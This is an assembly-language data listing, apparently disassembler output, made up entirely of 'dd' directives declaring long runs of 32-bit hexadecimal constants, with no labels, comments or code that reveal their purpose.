dd 0E10FD07Eh, 0A04A5A1Bh, 7D03DAC0h, 0E1434AEDh, 0A40368F6h
dd 12FC8456h, 0A8AFB605h, 0D3E484B0h, 76B15F25h, 7F412AE8h
dd 332A7E46h, 275AC9D8h, 58DE5426h, 156F7900h, 921AE957h
dd 0FAF8B0D5h, 6B9617E7h, 0EF950F0Eh, 2E757A22h, 59AB9360h
dd 0AC1E5524h, 93742502h, 2FF7781Ah, 0CF64602Dh, 9208BB04h
dd 0B8EE235Fh, 509C8B98h, 658702Eh, 0E2805BDAh, 1A6F182Ch
dd 4DC91DDDh, 0AFDC535Eh, 5550B99Ah, 0CCC7E01h, 0F281EAD1h
dd 0DC2B4FFh, 0AC4C7789h, 52BE6AA0h, 56612C0Ch, 5F6489F7h
dd 2B4D29Bh, 75743660h, 3562DD00h, 4DB9EFBCh, 0C8C65E01h
dd 3FB85D29h, 0B7D5DABDh, 445BFB58h, 5F50580Bh, 5C84C747h
dd 0CCEFC821h, 7D4BE926h, 0F968D4C0h, 1C5DEC6Ah, 86DE875Eh
dd 8D2F7D3h, 87F010D3h, 8B6E0D45h, 7B8E536Ah, 0B72BF0F1h
dd 3768C558h, 0E9CF30EEh, 3BC18DA6h, 2D725CEBh, 7C69717Ah
dd 0C5238735h, 40C4251Dh, 3363BE80h, 9A30FDDBh, 0B8EDE605h
dd 7A9148A2h, 4865B981h, 0C9E6206Bh, 3A4D3B0Ch, 12AB0C28h
dd 1E386F25h, 940E87B5h, 0C384F927h, 0DB6FC89Ch, 31FEEE26h
dd 3253FF6Fh, 68C254ACh, 9051522Ah, 20BEDB7h, 7473EC1Eh
dd 3563629Bh, 0C27A9F5Eh, 0D2CAD707h, 0A0E52EC1h, 132D3C7Ah
dd 16212205h, 0FD92F7C5h, 0DD9E29F5h, 5C17B75Ah, 0C0AF2D58h
dd 3E0D5A65h, 7B290C12h, 0F7F406FFh, 2020AD8h, 14B1BF57h
dd 943DF76h, 41DF47CAh, 0B8489947h, 38FC97C3h, 0B9BBA63Dh
dd 1627B887h, 81BE1304h, 755DC809h, 0A5942AA8h, 8B30C2A9h
dd 90E952DEh, 0A53FDDB4h, 0FBB78521h, 901DB3BAh, 4C250486h
dd 50AE71E3h, 57550887h, 0D3E2A22Bh, 0E91735CAh, 64DA4BA3h
dd 52555EF8h, 0A52D79ACh, 11D8C246h, 2575948h, 247B4D38h
dd 207B5E37h, 82D39707h, 0E419A10Bh, 805B6BF3h, 98F7D80Bh
dd 77B50CAh, 83454BCCh, 0D587F2EDh, 0CCA6AB4Bh, 4C8D0E1Ch
dd 0E9EE2941h, 0E07841A4h, 8A552CAh, 870E27B7h, 8C2CE4F3h
dd 55C48D89h, 293D32A6h, 88BED4Eh, 69160E7Bh, 985EBDF0h
dd 6F4A1856h, 5AD2F4C0h, 0A0CAD4BCh, 0CA52A102h, 0C2C9606Eh
dd 2EEF3055h, 25075F38h, 49FF405Bh, 280056F7h, 496E37ADh
dd 6836BE04h, 82AA6A6Dh, 9FDACD2h, 2F00CDB6h, 0B57BFEB1h
dd 0E0EB6C57h, 0D625019Fh, 2D14FD5Ah, 29E5CE00h, 68521625h
dd 0FA245DD4h, 0F82B7F80h, 6225E912h, 0F7946803h, 9D25279Ch
dd 91023B7Eh, 40302415h, 7710A536h, 75D6956Ch, 1CD00820h
dd 98E91F14h, 9E40D66Ch, 0BF3E4A08h, 26BC065Eh, 2208284Dh
dd 57BE013Ah, 283C1F7Fh, 0E87F7371h, 1160CE25h, 8A720873h
dd 58E3FE10h, 5B2F15F8h, 258D5812h, 67ECDF02h, 9A105D97h
dd 0C19686E9h, 0FCA15916h, 937CEE2Eh, 0AE084EA1h, 7EB1DD74h
dd 5599EC10h, 1034FB80h, 90B416Bh, 9D0CEC24h, 0D21D33BFh
dd 68B1E806h, 0CD205BBAh, 3C8FF90Ch, 0CBAA4FB8h, 5E9093Ah
dd 9ED2B1Ch, 637E2DEDh, 0A5BE6F45h, 605D3497h, 0DECEAE9Fh
dd 265B4304h, 22513EACh, 5C4C89E0h, 2F7A5AFEh, 6CCC31Bh
dd 0CF5A7D98h
dd 0B35BE7B7h, 3EEC970Bh, 0A06FD041h, 17092FF6h, 0D55D51E5h
dd 0F0219E90h, 0C48B3BDh, 0E07AE906h, 0DD48F720h, 668001DAh
dd 0EB897446h, 1651AF74h, 0EE5FD548h, 0DC074D4h, 180AFDECh
dd 6154BDE9h, 0C9955DE8h, 5564559Ah, 7BF02C68h, 4E6A48h
dd 37E6295Bh, 0BD647BBh, 46617ABCh, 9446F587h, 2F34506h
dd 28296EDEh, 2DB4E04Fh, 7A6C206Bh, 54773408h, 461F0523h
dd 0B49A0902h, 0BA00D1C2h, 37F7125Fh, 0AF3053B5h, 0D12D4AF2h
dd 0EFD7DE45h, 0FA818B65h, 0BED8A8Ch, 3135B755h, 0EAC04D92h
dd 0E8620DE9h, 1962A0E3h, 0E7A03F50h, 5B8840B8h, 0E91BE7E8h
dd 0B359A055h, 12DC775Dh, 0AB1C8176h, 0D0CD49F0h, 0C6400B8Ah
dd 970513CEh, 0AA0244Bh, 2F455A08h, 5F043C55h, 4B42BC68h
dd 5B848EFEh, 0E2265EB6h, 0E57DA70Eh, 0E1FD0D35h, 534980F0h
dd 0AD761768h, 0B45B5A45h, 740B6543h, 0DE296FFCh, 250CC8D5h
dd 0D12D0954h, 14E967EEh, 966E482h, 6634E07h, 0D3D2D40h
dd 915FDF38h, 28EF47Fh, 0AEDE5505h, 0BF0B123Dh, 0C639E891h
dd 2AC8BE03h, 21173310h, 0ECAD5EF7h, 546E0B76h, 0F7841FF1h
dd 5A68D828h, 0FBFE840h, 61624890h, 0D9608A49h, 0D52CF75Dh
dd 0DCDD595h, 0CC384B39h, 0E130AB5Fh, 3059C820h, 5E25F131h
dd 104EB268h, 0F880DC99h, 0EA416DAh, 0E9162A05h, 0BAA1F15Bh
dd 82326A30h, 0B227B090h, 0B2BF10D3h, 12AB5FB2h, 81F7EF2Dh
dd 67165F94h, 0E00E90Eh, 605BD987h, 82F681CEh, 0E4A8279Dh
dd 0B552B660h, 5CB011BDh, 200844C2h, 919EE0F5h, 0B5FCA3C4h
dd 0EBD9274Fh, 51D3ABABh, 0F409B724h, 0C0FB7DC5h, 8868E9C1h
dd 0D731268Bh, 17EC1CB8h, 0A407B4B9h, 0C1E2B278h, 811942EEh
dd 6ACD4FA5h, 0F8E8D7D6h, 1820B4Ch, 0FA715CFFh, 8555DBFBh
dd 0DBE0FBCDh, 0F8549772h, 8014F06Bh, 0BE82F748h, 0A995675Ch
dd 159827EEh, 67AE784Bh, 0C49EB3A5h, 4FE4144Ch, 14908B98h
dd 0C177402Dh, 22463F00h, 0B32AE956h, 0AB2C30C7h, 891AF75h
dd 1830FA89h, 9AF2F4DAh, 0F55955BFh, 67645F45h, 0A4BEC2D5h
dd 595AE982h, 0C713A884h, 82BFE7BBh, 0D456A0E9h, 0ADCC88BFh
dd 5897BA00h, 12BD0E1Fh, 0AAA922F3h, 61427713h, 0D7096968h
dd 35F9EF18h, 0E1DF2327h, 0C17A26E5h, 3EE494B4h, 52DC6661h
dd 1BC2E00Dh, 48542B92h, 0DE02BDBAh, 113EC90h, 7B7E5DEEh
dd 0FEF2DC62h, 0D684133h, 0A19D3D5Bh, 6C249171h, 0E55258CFh
dd 8A30E612h, 7D5F6B08h, 0B66C3C00h, 0E92F413Bh, 300C8311h
dd 0DD73BBD3h, 0AA4A04A9h, 0DD891D07h, 4454EFD2h, 35C30EC9h
dd 0CFCF14D7h, 4B34663h, 0D2D91804h, 4EA9D58h, 92ACB4Fh
dd 42106066h, 35E282DFh, 306F7B75h, 583CE9A7h, 17F34797h
dd 62EB0589h, 0A31BB9Ch, 2C01D9A2h, 7BC76A18h, 45B65940h
dd 0E4C63180h, 0D828CF06h, 0B34803E9h, 0B2BAD370h, 82FAD202h
dd 0F0DF2D8Ah, 0BC494FFh, 0CED5D672h, 0BD3F96CEh, 0EAA9D325h
dd 580DE177h, 0CB8ABC6Ah, 642E5722h, 0B97799CEh, 130784E7h
dd 0BC9E0112h, 2A307A62h, 0F8659E13h, 0F5434D9Ch, 0FA5B7263h
dd 62BA2528h, 52D2B716h, 7C81C1D5h, 953A51E8h, 0E92099F5h
dd 8334ECEDh, 0FA5C0FF1h, 0CE661521h, 0E23DDB46h, 62B31D25h
dd 1ED2F282h, 6A835D2Dh, 0A975DF8h, 623900EAh, 0FA01DE7Bh
dd 68CFE917h, 533C7FA9h, 5D29B716h, 72763266h, 112EF8C0h
dd 0DF400825h, 0A1314921h, 0EB367054h, 0EF815660h, 4EDAF6F3h
dd 408DB8EEh, 9E09E617h, 804CD05Ah, 0AC0A7139h, 737EB578h
dd 66058D10h, 0BD640F68h, 0FC2D773Bh, 80307179h, 52505319h
dd 882640B2h, 420BB3D4h, 5199DCEAh, 34C12456h, 78E43712h
dd 7409FECh, 72CD5889h, 6803E44Ah, 1827C7A6h, 0FF52A620h
dd 4BB2F603h, 0AEF2D212h, 0C924747Ch, 0A40EEF2Dh, 462F1314h
dd 155A3554h, 0E3F49A2Ah, 0A9EEEB05h, 0D7AC019Ch, 0F0E88316h
dd 282F804h, 7E894CC8h, 0F6556172h, 82276141h, 0EC7C62E5h
dd 1761F742h, 0B8567B0Eh, 0BBB0D2ACh, 0B6722372h, 0CB04437Fh
dd 37453A39h, 0FE1F8A80h, 210C358Dh, 77BD008Ah, 0E92F294Ah
dd 2863F650h, 21F81C4Fh, 3F3AD3B7h, 5DDBE112h, 402AA321h
dd 20C20101h, 6B12D06Dh, 49AE5C91h, 64814E51h, 0EECF7994h
dd 57E0067Fh, 97BC7EF8h, 0B27F66C6h, 0EE331388h, 0E8291458h
dd 5D04072Dh, 0D8075568h, 574BCEEAh, 1A9D888Ch, 8A72BD22h
dd 4A4E4740h, 0C2B6E92Dh, 818A7EBDh, 0B55166CCh, 0E10E9BCAh
dd 1AE9E906h, 0ABD7122Ah, 5648498Bh, 0BFE05AE2h, 0F8B41A4Ch
dd 4AC06163h, 2581ADDBh, 0C44FD5Fh, 0FD1CE912h, 6D351101h
dd 2DC8A87Ch, 7F46045Ch, 0AAC5219Ch, 0FB4C6561h, 0BDB81F04h
dd 7B8461C1h, 0E2281A05h, 0F79883h, 2F9EB824h, 7CBA6241h
dd 25064816h, 3F1E3800h, 1629338Ch, 0E078E9CAh, 4D48455Ch
dd 566B0568h, 0EE08C936h, 17011722h, 8956BFE3h, 0AB0CC5AFh
dd 2CACAA2h, 2C200A6Ch, 48796A1h, 0BEDB2866h, 0FEA26CFDh
dd 0F58891D6h, 272026DBh, 0F0BBA9F5h, 443696C1h, 804CB85Eh
dd 1A15C181h, 0D778626Eh, 665FBB87h, 565F0979h, 0A4846852h
dd 0E508EBADh, 98BE0F86h, 0A728C307h, 0F0F31CD2h, 82FB054Ah
dd 5D45E31h, 7F44604h, 490EE9C0h, 184561CAh, 6AE07B3Bh
dd 806FD89h, 814821Ch, 2833208Dh, 9C821858h, 8EC3BFCEh
dd 260E164Dh, 82016FBh, 15F7E913h, 0F07F365Dh, 0FB6C4867h
dd 7FBC83D2h, 6CC0D559h, 5492366h, 21E9F501h, 30ABAD27h
dd 0FF2D065Dh, 16CC3F6Eh, 8576D9A4h, 0B9104068h, 0F4A696CAh
dd 4E73F10h, 6ECD6853h, 27E69AAFh, 0C2C2B45Bh, 0DFAFE95Fh
dd 4F2564DDh, 7A22E5BAh, 0C83E6EB5h, 3812952Fh, 3A2D4DA1h
dd 6C2CFB2Bh, 8E2D49E9h, 0D6F74E0Dh, 0E09BE804h, 0B4C8FE4Ah
dd 54D70DF5h, 2FAC15E6h, 25E986B4h, 0EB460DBFh, 0A513465Bh
dd 50C6801h, 0B17A707Bh, 30EC3F64h, 730E9590h, 0AA131358h
dd 40D10309h, 5EC9681Ch, 3C8F314Fh, 8AF63E46h, 0CDAC543Dh
dd 4201AC05h, 7D4AFA58h, 0C898D343h, 3D060F05h, 87596C1Dh
dd 0F61C4FEBh, 205B4CDCh, 315C4B8Eh, 0F950557Eh, 0BD522B0Fh
dd 5E4340AAh, 1FD6ADCh, 40ECFB40h, 0CE9D5DE2h, 0B65AA1B4h
dd 0F8EAFCE7h, 6857F0AEh, 822F4CA0h, 231846D8h, 0BD056DE8h
dd 78303607h, 5DF9C8EFh, 351886C3h, 0CFB200F3h, 46F9659Ah
dd 0D772874Fh, 89E9DA12h, 0EAC813FFh, 0ED9774A7h, 0B2D893B7h
dd 0EAF84B60h, 8AEFF835h, 3887518Fh, 4CBD0247h, 6066470Ah
dd 3B7CB48Bh, 0ED025531h, 978C5044h, 2C5C8A5Dh, 4058761Ah
dd 8059CEF0h, 21734940h, 0DEB12BB5h, 7C298DC2h, 2F7B3010h
dd 0C3D5C660h, 0B0D23E7h, 244E68E0h, 0E9166B46h, 0A4F81052h
dd 0A2EBF5C6h, 9E685002h, 797CBF59h, 0D8F7407Fh, 60057505h
dd 0F1E9BC0Fh, 0B3560A0h, 8A335E43h, 7FDE0601h, 0C1C2405Ch
dd 0CA188467h, 0E9C6290Bh, 0F60352E8h, 0B70BEA97h, 5B71E0BFh
dd 4DEB3387h, 23406806h, 3B4ADFB5h, 21C4B1ECh, 61350045h
dd 0B87A0E72h, 5C697005h, 3016EDB8h, 29D8EE36h, 157975Ch
dd 0D0283783h, 72E2288Bh, 0B982D551h, 5F318D0Dh, 0C2091F3h
dd 0C45F5826h, 0C41F2102h, 0FD19551Dh, 29716057h, 0CC42B981h
dd 0CDF28290h, 70AFE659h, 40E802BFh, 5FF829FCh, 7488B5FCh
dd 775C176Fh, 0F093DF8Fh, 0F238804Bh, 0BAD331B4h, 0F37FFBC4h
dd 0C18B9F8Ah, 9244D4D0h
dd 9C0EE06h, 65ED5116h, 0AE081663h, 86A19302h, 0A0222B2Ch
dd 0C0DFF589h, 95032740h, 55EB4C5Ch, 0BDE0174Ah, 0FEE8EF80h
dd 5351C700h, 0D9B514B7h, 5E4B27E9h, 825C58D6h, 4B9C70FFh
dd 0C58AAE5Dh, 0D9D754C9h, 3A55E961h, 680D3035h, 9F357058h
dd 79E2A6F6h, 50797513h, 40F07EC2h, 78478F76h, 0D7CC3140h
dd 6AF18910h, 0CA827937h, 7D534A52h, 0E9C2057Eh, 759BCA0Ah
dd 724BB4D3h, 40BB2442h, 0A4E1215h, 13F2FBABh, 1F80EF68h
dd 2F053FF3h, 105FB777h, 27685C17h, 8AD97436h, 0EFF876B5h
dd 0C51DF24Ah, 9FE15A5Dh, 7CE7242Bh, 2259E9AAh, 5ABD5F5Fh
dd 94644B07h, 6226F31h, 825F4258h, 45A83C7h, 4B8ABBDh
dd 49B82E7Ah, 85D7A592h, 0E3FF01FEh, 45977A0Fh, 0F1F68129h
dd 6F2C7DE9h, 6B68E390h, 48762450h, 92EF1A91h, 43D9C533h
dd 0C3F7798Fh, 0DDBCCF85h, 827A165Ah, 0B1E877h, 54ABF181h
dd 0C12C137h, 292747B1h, 3804E1E0h, 0C7DEE941h, 0D6C952C0h
dd 8698859Bh, 2D502C67h, 4416BA8Bh, 400122AAh, 7E4E748Ch
dd 0B8191883h, 340B5ACBh, 752367E9h, 54558138h, 0CA2003B0h
dd 3A52951Fh, 0B050D401h, 5E0C0A6h, 0D1C29FE1h, 0DC348CEFh
dd 91B04D8Eh, 7182A09h, 868FC52h, 0F709C61Dh, 0A22E00DDh
dd 906E0D4Fh, 3ED105B2h, 0F1012D25h, 800805ABh, 2EE9EF11h
dd 0A9FF6027h, 0C171B2ECh, 4C7DF229h, 2047A805h, 6631BC61h
dd 0B013A45Ah, 45D90C65h, 0DD626474h, 0AF250217h, 0FDEC5CBBh
dd 48B602F5h, 5AE91399h, 0A9FD8BA9h, 0ACC377B9h, 3E7F5677h
dd 30036E2Eh, 1AF8EA30h, 25340326h, 40B31F93h, 0C59896ABh
dd 520B2D38h, 57FC91DDh, 0E768E581h, 48802330h, 43713DAh
dd 0FD70168Ch, 7F95B606h, 95A5BCA6h, 0DCCD8102h, 8F32EE01h
dd 1E97A5A7h, 3B7E39AEh, 2FAEEB0h, 0E919DF6Ah, 8948C9C6h
dd 0CC2869FBh, 28018733h, 0E9117349h, 0E96ED1ACh, 273B48A0h
dd 0F7862790h, 9F5DA19h, 5224EABh, 0FFE378D5h, 0B84BAB2Eh
dd 0DE37A83Bh, 1A72D38Bh, 0FAE57513h, 0EE13CA97h, 969CB2ABh
dd 512DC899h, 9181093h, 0FF272988h, 0F6B7369Ch, 7968506Dh
dd 3DE32D4Eh, 0BE128C16h, 4ED1BD22h, 7419CD4h, 1B0A7418h
dd 2B047F5Ch, 84AA1B05h, 2DA4C2D5h, 0CCB00A89h, 0A1B8C829h
dd 8A486F02h, 7D09E975h, 0EF10F309h, 47BEC366h, 97127FEFh
dd 0A0EB78E4h, 0B84DBBA9h, 232009AEh, 50125495h, 11C080Dh
dd 6584E914h, 2DF43012h, 2DAC5C95h, 302F1EFDh, 0F787372Ch
dd 0FB5C9887h, 27125944h, 39DB31C2h, 0A17FA435h, 0AA1C74E5h
dd 0B9B6355Bh, 0FE4D6716h, 3E0C2871h, 0DB6F497Bh, 0BA518342h
dd 0B15DADCCh, 6C06809h, 0BAF50261h, 5FE00F59h, 2F3829EFh
dd 12D666BDh, 2501B1BBh, 7B23A00h, 6AD156D9h, 45E10BCDh
dd 0E8BDBC34h, 993A4832h, 372AC710h, 1A92A55Ah, 0F157688Bh
dd 63F9955Eh, 8D07BADh, 22B4271Ch, 83CB0481h, 0E2E7092Ch
dd 185FFC08h, 0AA36DEEAh, 0F3D08210h, 50F509FBh, 9808D27Fh
dd 1C5C9B17h, 6D768281h, 0CF87DD47h, 5D609E04h, 3186ECFFh
dd 18C258FEh, 568EE908h, 0E7BA0714h, 0F0147C78h, 894102B7h
dd 9867FDE1h, 5F011132h, 0A6254D33h, 0BBC6406Bh, 65213F17h
dd 4EAD4EFAh, 11E9E3D2h, 0EB96F274h, 0EA3821EEh, 34AE7D80h
dd 24C79506h, 2AA14DC1h, 25902E80h, 0DE318D4Ch, 1F4039B0h
dd 0C98BEC59h, 0EB555BFBh, 639B4C90h, 0C6E6B827h, 7E112920h
dd 0D7C1F443h, 318CC245h, 0ACA8E5D5h, 8C5F16E9h, 234EC3DDh
dd 1FA1628Ch, 4B16310Eh, 0A7466ABBh, 5DD5120h, 234942Dh
dd 0B0C4EF5Ah, 0F965071Dh, 0E6B10A61h, 0CF312EF1h, 0B062B289h
dd 0F140DD7Ch, 486DBAC2h, 0AF5E9AF2h, 0CE016E01h, 176485E9h
dd 20A0A050h, 6F28284Fh, 12B35AACh, 0BDE0FAF5h, 4DBEA76h
dd 1068C3FEh, 0B1388C35h, 0E180D20Fh, 86C1E149h, 7BE7F6D1h
dd 0EBF10A08h, 8BCCB30h, 0B9010E02h, 46436108h, 0C4414E2Ah
dd 0AF37FFEEh, 40213728h, 0ACC95255h, 1E8C90F1h, 1FEE58DEh
dd 565FF900h, 302D6851h, 0F407FC30h, 7C3BC3C1h, 160CC148h
dd 2EEC37A2h, 99204A3h, 0A951F23Ch, 225BA6BCh, 5FADBBCh
dd 126BF40Bh, 5187AE3Fh, 0DD7DA2B2h, 0C26B80A4h, 0F27733C8h
dd 6073953Ah, 9783B197h, 3872A788h, 0FFA25510h, 2E491B9Eh
dd 0B737A85Fh, 4A689A40h, 0A121AB54h, 70835053h, 7C9628Ch
dd 7E57E451h, 0FC5A25E8h, 270D20DBh, 6C55EA83h, 0C15376FAh
dd 3E7BF1CBh, 2B8BB93h, 0E2E126B3h, 80D8A301h, 4A817E6Ah
dd 1009DA0Ah, 0F05AB4BFh, 0B2F6854h, 2AA56662h, 9FEF38A6h
dd 3A13D2C8h, 0C7E5B30h, 40CF0354h, 0C5B82706h, 58292A25h
dd 400883ABh, 257140Ch, 0AD3DCE68h, 24D65F34h, 0F85D8882h
dd 5793E02Fh, 0B8B47375h, 5F7716FAh, 0E59A0EB7h, 14D32B61h
dd 0D9423A4Dh, 788F4B37h, 0B01B0B81h, 8255214Ch, 8E654C1h
dd 0E84008A6h, 3CA55035h, 4AD2497Ah, 4BD34877h, 58EB0F55h
dd 0E1A7F289h, 0CA120E16h, 208D4C73h, 0E6801C5Eh, 0B3F6CE8Dh
dd 0C01C6C6h, 3FDF5748h, 0FD4EF35Ah, 2668B7E0h, 61AC251Dh
dd 7F286CB3h, 6681E2F3h, 0E2436853h, 93301ACCh, 81461003h
dd 2B9A0BCEh, 11754896h, 19E08FEFh, 0F0290BD5h, 8D4F8E9h
dd 4EB4F527h, 0C7327430h, 0B588B6EFh, 0D89D8958h, 4E45E159h
dd 5073808h, 4C38A868h, 9C20814Ah, 47146B7Dh, 13063558h
dd 28EF16E9h, 547D5502h, 7322315Ah, 0B221060Ch, 0BA1B2625h
dd 1A485F5Eh, 19BED03Ch, 3D038601h, 0CCEC487Eh, 58909D37h
dd 2FEA6856h, 0CAB4EC67h, 0F0A664DBh, 0AC284E5Dh, 681FDD6Dh
dd 2F3C439Eh, 69C25B2Ch, 2591EDEh, 53A7E61h, 0BA555CF4h
dd 0C02073DDh, 819A5259h, 0C1DD2D8Bh, 84405E91h, 0C02555E9h
dd 52CAC527h, 0DCBF61A2h, 13082045h, 0F5F08DE9h, 5BD2DE23h
dd 978C4C20h, 5CBFC5D2h, 0A50C30B0h, 70524A07h, 0B0610E2h
dd 93A8F85Bh, 2EE71801h, 0E17E6986h, 6068993h, 0E35E4Bh
dd 2997AF54h, 92DE9DFh, 0FBCEE4CCh, 0E3169F22h, 921CB302h
dd 66752405h, 4DB9A430h, 3C9271Dh, 659F28C4h, 515EA5E1h
dd 296CAD59h, 0F4BE1D7Eh, 89CB89AEh, 0C644EB5Ch, 0EEB916AFh
dd 6C17628Fh, 109DA347h, 66131F68h, 0B1A2BB50h, 0BF121094h
dd 0BBE2AF57h, 0FC49E985h, 0D2B92F0Dh, 0C8293EFDh, 943BE42Ch
dd 9E12EE28h, 5039ABEEh, 20B21041h, 2A945368h, 3B32FC1Fh
dd 0A0903924h, 0D6341756h, 4771EEFEh, 5F81DAFAh, 5B7D71F7h
dd 524EC7Fh, 27649Dh, 61AE3D26h, 9AB988BFh, 25E8A454h
dd 0B03EAC41h, 3913E6D5h, 39E95A72h, 80787A2Eh, 5362B1BFh
dd 0F7952944h, 0B541DAEh, 0C22344Ah, 7C3CEEDBh, 8E3C9BDh
dd 843ECEE1h, 82C4E357h, 0A0D8A1E9h, 394BFAA5h, 0C1012565h
dd 0A57745DDh, 61C208E9h, 15FA2E22h, 720565DDh, 0AA097E1Ch
dd 17A5A416h, 96E90B01h, 5F5E9752h, 0B756AFD4h, 0D6EBF4D1h
dd 8055279h, 44E0AE58h, 493496FCh, 0E10E7905h, 9EC0226Dh
dd 1E4BD090h, 6DB00989h, 0FC279C7Dh, 1194D5Ch, 2E912D03h
dd 0F8FA1A08h, 80198C2h, 61060205h, 0E9E8F4CDh, 0DC097BE3h
dd 2F9C0042h, 0B0697107h, 0AF7A0B16h, 8B7D0276h, 0E425EA3h
dd 0E96EEFD6h, 6CA9D969h, 0F4D19277h, 1C5A272Fh, 115D8B0Fh
dd 8BB8323Ah, 0ED121FA3h, 20AFD3F7h, 0D4415786h, 0D0F24C76h
dd 0C06B7F25h, 281427EBh
dd 7B30086Ah, 0ACE912D9h, 0E09BB4A4h, 0CA5F783Bh, 1BA88BFBh
dd 88485756h, 26236E6Fh, 839598E9h, 6680B450h, 0F6E688F8h
dd 78DAD65Ch, 19307090h, 2CF04107h, 3016C41Fh, 29EC82C3h
dd 25C1C5D7h, 0D75296B0h, 95EB0180h, 5EB30FCh, 811AFA3Dh
dd 4C76771Ah, 0B5E816EBh, 7CBDCE44h, 9C591E7Ch, 7C29CBCFh
dd 0F42F0171h, 82AE09ECh, 0CC5804D2h, 0D790D271h, 50790BBAh
dd 746BB0Eh, 0E9F186F4h, 0FE36FC61h, 5C80C239h, 42F20754h
dd 8AF2D028h, 1F55C5A5h, 0B1570956h, 7E27E6E7h, 8B6DC6E8h
dd 5DEA010Bh, 0AD817431h, 27E0175Fh, 46EF32h, 0B6BEE912h
dd 0F5217B52h, 0BA00D89Dh, 6B7A6418h, 5AD72912h, 92E6A4AAh
dd 150BFB72h, 461B2EE9h, 0C5545EC5h, 8E6D0476h, 89550F57h
dd 9FA3D04Eh, 0BBC83974h, 2793BF02h, 5B38E187h, 0FE33419Bh
dd 7A1373C1h, 3868639Ch, 0EE5F62FDh, 0B7E88828h, 68846EC5h
dd 8FBE1B84h, 0DA277FCFh, 4B74730Bh, 0CD893875h, 0BD00B2D2h
dd 514C8DECh, 0EC2CB42Bh, 0A830975Fh, 0FF59C22Dh, 0F181C03Dh
dd 67EE373Dh, 12200C19h, 5A42038Dh, 5A20516Eh, 88580D27h
dd 0ADFF871Ch, 0E3E0BA4h, 221ED367h, 7A587884h, 86002EAh
dd 3AC31E64h, 88DC5C2h, 0C8A36B8Eh, 773ABF00h, 68552A19h
dd 5205A109h, 62A2D426h, 3A8FEF21h, 319C4512h, 94D487DAh
dd 7FE7AFFEh, 49D99A72h, 0C75E331Eh, 0B0018466h, 0E23530F5h
dd 0F8F0D066h, 0C212FB81h, 0FFD7AB5Fh, 761D7A00h, 0CBFA3219h
dd 6F25060Bh, 0E3AD8058h, 4C4C7D29h, 0E9099130h, 0F57C8EB4h
dd 48906884h, 781028F3h, 0C5D25F4h, 810806F4h, 73EDFC07h
dd 0FBAC1EC9h, 8546131Dh, 0F5B3BBD4h, 0E857EACBh, 0A3CA8EBCh
dd 5A89AB86h, 0AC73AA0Bh, 0F538F9C2h, 687B706Bh, 2EE16E37h
dd 68693CABh, 5956702Dh, 1B82BBA9h, 0DDE96BB4h, 0CA926958h
dd 34FD79FFh, 0F9AF4301h, 2B200461h, 81404DFBh, 0E94F30CDh
dd 0F5A5664Ah, 86C2B93Ah, 3750BB18h, 0C030454Dh, 68309170h
dd 4F0B5C38h, 81B62DEBh, 7F93BE44h, 0B92B3E37h, 3DE984E8h
dd 0EE4A3EBCh, 8F30C1C7h, 0FC13780Bh, 0F20F5F0Ch, 6898012Ch
dd 5587C87h, 0ADE40645h, 0ACB9B4C0h, 31123C56h, 0C54E8C84h
dd 0EDB5C954h, 2A70610Bh, 1A7EA48h, 6F84E908h, 6B65B33Eh
dd 1FE9733Fh, 0CA2DAAAAh, 6FC60586h, 0A3401004h, 651594Bh
dd 305B2AF0h, 10D1309Ch, 0E0CE6D7h, 573BA525h, 81059524h
dd 44AA1476h, 5AF9A8DAh, 523213E8h, 82D76F1Ah, 0D6A2E954h
dd 934C25E1h, 7B7DAF8Ah, 0F0C3E415h, 88EC5DBCh, 0F1D3A34Fh
dd 0A41E8B11h, 0F7B505BAh, 0E104ABD8h, 68021290h, 86A21542h
dd 0C101D172h, 802E07E3h, 8221C863h, 0EC3360B5h, 4B279C8Dh
dd 7BFD4402h, 125FD492h, 5FA6C2E5h, 81DD192Bh, 0FED88C8Bh
dd 7BABB62Eh, 30792030h, 4FB759B6h, 0C70A4202h, 7C7D28B9h
dd 0DA01586Ah, 7D314ACEh, 1814A9CCh, 877C3F88h, 0A0C8336Bh
dd 54D94E9h, 0C9DE8188h, 497ADA4Ah, 96DFEEABh, 0C4D4BD41h
dd 197D5Ah, 4CBF00C8h, 95B2C01h, 93B81D38h, 0EF680040h
dd 781D65C2h, 72BF0CC1h, 24833ECEh, 0ADEAE33Fh, 3BE0C04h
dd 0DBC33993h, 505016FCh, 0B684ABB8h, 3A6CD1BFh, 67BA0440h
dd 9035C216h, 1B49E0A2h, 65D0BB22h, 910C2F40h, 0E9244303h
dd 2D921476h, 8B6991ABh, 0DC77FE80h, 0FD7AC9EAh, 7E38D60Bh
dd 0EFBCF541h, 0B41E92Fh, 9F0994C8h, 0B70C8FC5h, 701BFE4h
dd 5A08EE5Fh, 4564C64Ah, 0BDFBDCBDh, 27117C1Ch, 62753AF7h
dd 7B2B7F29h, 785B8E50h, 0F8AF1A84h, 2EE9A86Dh, 85942FC7h
dd 80BB73AAh, 6648E2AEh, 0F40C032Dh, 93D62560h, 0FC9DF207h
dd 0D2DEE981h, 5EEF6424h, 8664E902h, 81509836h, 0C804C7B2h
dd 0B85E9337h, 50B5CD49h, 0B0EEE0B3h, 89B30184h, 0EBC0D3F6h
dd 66B17B06h, 0C3CCE5D5h, 0D8281C6Dh, 0E9F0025Bh, 0C5F71AD2h
dd 34FB8041h, 0F2013E5Ch, 0E9AE910h, 3C7D592Dh, 889B9EACh
dd 501301A3h, 41257DBEh, 7A61C048h, 68552122h, 257A71E6h
dd 0F5081152h, 0C3222707h, 0B50031E5h, 0B0E828A6h, 0F603F1A4h
dd 8EAACC50h, 0D4EB65D7h, 7D91F868h, 802AD461h, 69D49C2h
dd 0AEEA8F71h, 0D7CE4AC5h, 0CC5F0B93h, 0AFF54F0Eh, 6D673AD0h
dd 0F0055018h, 0D94818B8h, 4B5FA879h, 4E57662Eh, 0BF5D4AFh
dd 0B418BFE9h, 5B240BF2h, 0C582044Ah, 54731A45h, 0EFE90422h
dd 28F3FFF0h, 8E68B88Bh, 3B1812E2h, 544442C5h, 4B8C2444h
dd 8F32892Ch, 0E23F6855h, 0C7371F36h, 0E009FF6Bh, 1082FF5Fh
dd 2D48AD57h, 89BEC649h, 349019Fh, 0B10F9637h, 21D6088Eh
dd 30AA2B28h, 33282E87h, 0C5B0D3F3h, 0CC2DE9B2h, 0DD925767h
dd 0EE574A8Eh, 0B4C9904h, 0C1FFCDAFh, 6F536E46h, 669F5F01h
dd 85F56CCFh, 5FFEEE64h, 34D5F9C4h, 0C9BF0A07h, 0E438522Eh
dd 0B80038DCh, 0BF5548Eh, 42F70F2Dh, 2EE977CBh, 9685C477h
